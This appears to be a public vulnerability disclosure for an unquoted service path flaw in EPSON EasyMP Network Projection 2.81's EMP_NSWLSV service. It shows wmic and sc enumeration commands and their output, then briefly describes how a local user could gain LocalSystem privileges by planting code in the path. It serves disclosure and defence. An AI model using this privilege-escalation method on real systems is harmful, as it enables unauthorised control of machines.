34 lines
No EOL
1.8 KiB
Text
34 lines
No EOL
1.8 KiB
Text
# Exploit Title: EPSON EasyMP Network Projection 2.81 - 'EMP_NSWLSV' Unquoted Service Path
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# Discovery by: Roberto Piña
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# Discovery Date: 2020-02-13
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# Vendor Homepage: https://epson.com/support/easymp-network-projection-v2-86-for-windows
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# Software Link :https://ftp.epson.com/drivers/epson16189.exe
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# SEIKO EPSON CORP
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# Tested Version: 2.81
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# Vulnerability Type: Unquoted Service Path
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# Tested on OS: Windows 10 Home x64 en
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# Step to discover Unquoted Service Path:
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C:\>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "EPSON" | findstr /i /v """
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EMP_NSWLSV EMP_NSWLSV C:\Program Files (x86)\EPSON Projector\EasyMP Network Projection V2\EMP_NSWLSV.exe Auto
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C:\>sc qc "EMP_NSWLSV"
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[SC] QueryServiceConfig SUCCESS
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SERVICE_NAME: EMP_NSWLSV
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TYPE : 110 WIN32_OWN_PROCESS (interactive)
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START_TYPE : 2 AUTO_START
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ERROR_CONTROL : 1 NORMAL
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BINARY_PATH_NAME : C:\Program Files (x86)\EPSON Projector\EasyMP Network Projection V2\EMP_NSWLSV.exe
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LOAD_ORDER_GROUP :
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TAG : 0
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DISPLAY_NAME : EMP_NSWLSV
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DEPENDENCIES : RPCSS
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SERVICE_START_NAME : LocalSystem
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#Exploit:
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# A successful attempt would require the local user to be able to insert their code in the system root path
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# undetected by the OS or other security applications where it could potentially be executed during
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# application startup or reboot. If successful, the local user's code would execute with the elevated
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# privileges of the application. |